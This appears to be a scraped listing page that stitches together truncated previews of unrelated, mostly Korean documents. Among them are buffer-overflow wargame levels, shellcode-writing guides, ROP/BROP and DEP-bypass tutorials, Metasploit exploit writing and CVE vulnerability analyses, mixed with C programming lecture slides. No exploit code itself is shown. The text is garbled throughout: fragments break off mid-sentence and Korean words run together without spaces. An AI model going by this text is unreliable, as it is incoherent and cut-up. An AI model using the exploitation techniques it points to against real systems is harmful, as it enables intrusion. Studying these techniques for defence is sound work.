Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting
More information02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C
02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())
More informationMicrosoft PowerPoint - a8a.ppt [호환 모드]
이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register
More information/* */
/*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More information<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>
Virut 바이러스공격 ASEC 분석 1 팀고흥환선임연구원 해마다접수되는악성코드의통계를보면대부분이인터넷웜또는트로이목마가대부분을차지하며, 파일에기생하는바이러스는그수가적어지는것이추세이다. 그도그럴것이최근의악성코드특징은개인의능력과시가아닌돈과연관되는악성코드작성이대부분이기때문이다. 그렇다면 Virut 바이러스가인터넷웜과트로이목마를제치고국내뿐만아니라해외에서도큰피해를입히고있는이유가무엇인지,
More informationTable Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri
Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah
More informationPowerPoint 프레젠테이션
System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소
More information본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo
본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한
More information08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st
08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server
More informationMicrosoft Word - Part10.docx
ROP를 이용한 DEP 우회, 그리고 ASLR By Kancho(kancholove@gmail.com) 이 문서는 Peter Van Eeckhoutte의 Exploit writing tutorial part 10 문서를 기반으로 편역한 것이다. 좀 더 필요한 부분은 추가했으며 불필요하거나 애매한 내용은 생략하였으므로 원문을 보고 싶은 분은 다음 사이트를 참고하기
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More information목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리... 2 2. 공격 기법 및 기본 개념... 3 2.1. Heap Spray... 3 2.2. Font... 4 3. 공 격..
취약점 분석 보고서 [ Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow - CVE-2012-1535 ] 2012-08-23 RedAlert Team 안상환 목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리...
More informationhow_2_write_Exploit_4_the_MSF_v3.x.hwp
Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기
More informationMicrosoft Word - MSOffice_WPS_analysis.doc
MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS
More informationLinux Binary Hardening with Glibc Hyeonho Seo
Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern
More informationMicrosoft PowerPoint - hy2-12.pptx
2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출
More information설계란 무엇인가?
금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 6 강. 함수와배열, 포인터, 참조목차 함수와포인터 주소값의매개변수전달 주소의반환 함수와배열 배열의매개변수전달 함수와참조 참조에의한매개변수전달 참조의반환 프로그래밍연습 1 /15 6 강. 함수와배열, 포인터, 참조함수와포인터 C++ 매개변수전달방법 값에의한전달 : 변수값,
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More informationPowerPoint 프레젠테이션
Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐
More information문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관렦된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에
문서번호 13-VN-10 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 10) 2013.3 작성자 : ( 주 ) 한국정보보호교육센터서준석주임엯구원 오류싞고및관렦문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.03.14 본문서는원문작성자 (Peter Van Eeckhoutte)
More information11장 포인터
Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함
More information학습목차 2.1 다차원배열이란 차원배열의주소와값의참조
- Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]
More informationPowerPoint 프레젠테이션
Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More informationReturn-to-libc
Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.
More informationIT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.
IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.
More informationCogame 취약점 보고
Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6
More informationMicrosoft Word - SEH_Overwrites_Simplified.doc
SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.
More information(Microsoft Word - \270\256\271\366\275\314 \271\370\277\252.doc)
Smashing the Signature (Korean Translation V.08-01 01) 안티바이러스의시그니쳐탐색기법을우회하기위해 PE 파일의 헤더및속성을수정하여코드섹션을암호화하는기법을소개함. Hacking Group OVERTIME MRB00 2008.09.10 Title:
More informationuntitled
Oracle DBMS 로그인의접근제어우회 취약점분석 2006. 2. 9 인터넷침해사고대응지원센터 (KISC) 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 룰명시하여주시기바랍니다. 개요 o 2005년이후 Oracle Critical Patch Update(CPU) 는 Oracle사제품대상으로다수의보안패치및보안패치와관련된일반패치를발표하는주요수단임
More informationExploit writing tutorials
EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer
More informationadfasdfasfdasfasfadf
C 4.5 Source code Pt.3 ISL / 강한솔 2019-04-10 Index Tree structure Build.h Tree.h St-thresh.h 2 Tree structure *Concpets : Node, Branch, Leaf, Subtree, Attribute, Attribute Value, Class Play, Don't Play.
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음
More informationMicrosoft PowerPoint - ch04_코드 보안 [호환 모드]
정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택
More informationMicrosoft PowerPoint - ch07 - 포인터 pm0415
2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자
More informationFrama-C/JESSIS 사용법 소개
Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie
More information<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>
시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More informationComputer Security Chapter 08. Format String 김동진 1 Secure Software Lab.
Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,
More informationCodegate Preliminary Match Repot
Codegate Preliminary Match Repot - 2008 Historymaker 소개글 Code gate - 2008 뭐알아서참고.. ㅡㅡ ;;; 목차 1 4 2012.06.15 20:19 ================================================================== / Codegate Preliminary
More informationMicrosoft PowerPoint - a6.ppt [호환 모드]
이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT
More informationISP and CodeVisionAVR C Compiler.hwp
USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler
More informationMicrosoft PowerPoint - ch04_코드 보안 [호환 모드]
이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,
More informationAndroid Master Key Vulnerability
Android Master Key Vulnerability Android Bug 8219321 2013/08/06 http://johnzon3.tistory.com Johnzone 内容 1. 개요... 2 1.1. 취약점요약... 2 1.2. 취약점정보... 2 2. 분석... 2 2.1. 기본개념... 2 2.2. 공격방법... 4 3. 방어대책... 7
More information목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단
기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4
More informationMicrosoft Word - FunctionCall
Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack
More informationchap 5: Trees
5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경
More information윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG
- Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)
More information=
written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101
More informationvarious tricks for remote linux exploits v3.pptx
various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional
More informationMicrosoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100
2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack
More informationMicrosoft Word - Reversing Engineering Code with IDA Pro-4-1.doc
Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판
More informationMicrosoft PowerPoint - chap06-1Array.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어
More information11장 포인터
누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리
More information취약점분석보고서 = MS =
취약점분석보고서 = MS12-037 = 2012-08-09 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. MS12-037 취약점요약... 1 1.3. MS12-037 취약점개요... 1 1.4. MS12-037 대상시스템목록... 1 2. 분석... 2 2.1. 공격기법및기본개념... 2 2.1.1 DOM(Document Object
More informationChapter 4. LISTS
C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or
More information이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2
제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.
More information01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M
01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM Machine code Assembly code Linux system call in assembly
More informationMicrosoft PowerPoint - a9.ppt [호환 모드]
9.1 이장의내용 9 장. 스트링과배열 스트링프리미티브명령어 2 차원배열 정수배열검색및정렬 컴퓨터정보통신 어셈블리언어 2 9.2 스트링프리미티브명령어 String Primitive Instructions 의동작 String Primitive Instructions Instructions 설명 동작 MOVS(B,W,D) Move string data M[EDI]
More informationMicrosoft Word - Reverse Engineering Code with IDA Pro-2-1.doc
Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판
More informationKNK_C_05_Pointers_Arrays_structures_summary_v02
Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",
More informationA Hierarchical Approach to Interactive Motion Editing for Human-like Figures
단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More informationBMP 파일 처리
BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)
More informationMicrosoft PowerPoint - secu10.pptx
Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함
More informationAPI 매뉴얼
PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned
More information다시시작하는윈도우프로그래밍 메모리이야기 (2) 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 2 Introduction... 2 가상메모리의기본개념... 3 가상메모리할당... 4 가상메모리해제... 7 할당과해제... 7 가상메
다시시작하는윈도우프로그래밍 메모리이야기 (2) 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 2 Introduction... 2 가상메모리의기본개념... 3 가상메모리할당... 4 가상메모리해제... 7 할당과해제... 7 가상메모리상태조회및보호속성변경... 9 vmwalk... 11 참고자료... 13 소개 윈도우메모리관리의내부밑단계에는가상메모리관리자가존재한다.
More informationMicrosoft PowerPoint - chap13-입출력라이브러리.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,
More information목 차 1. 개요 취약점분석추진배경 CVE 취약점요약 CVE 분석 CVE 취약점개요 CVE 대상시스템목록...
취약점분석보고서 = CVE-2012-0754 = - 서준석연구원 - 2012-08-02 보안프로젝트와한국정보보호교육센터에서공동연구한것입니다. 상업적으로사용하여법적인문제가생기는경우는사용자자신에게책임이 있음을경고합니다. 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. CVE-2012-0754 취약점요약... 1 2. CVE-2012-0754
More information[8051] 강의자료.PDF
CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4
More informationResearch & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W
Research & Technique Apache Tomcat RCE 취약점 (CVE-2019-0232) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE-2019-0232 취약점은 Windows 시스템의 Apache Tomcat 서버에서 enablecmdlinearguments
More information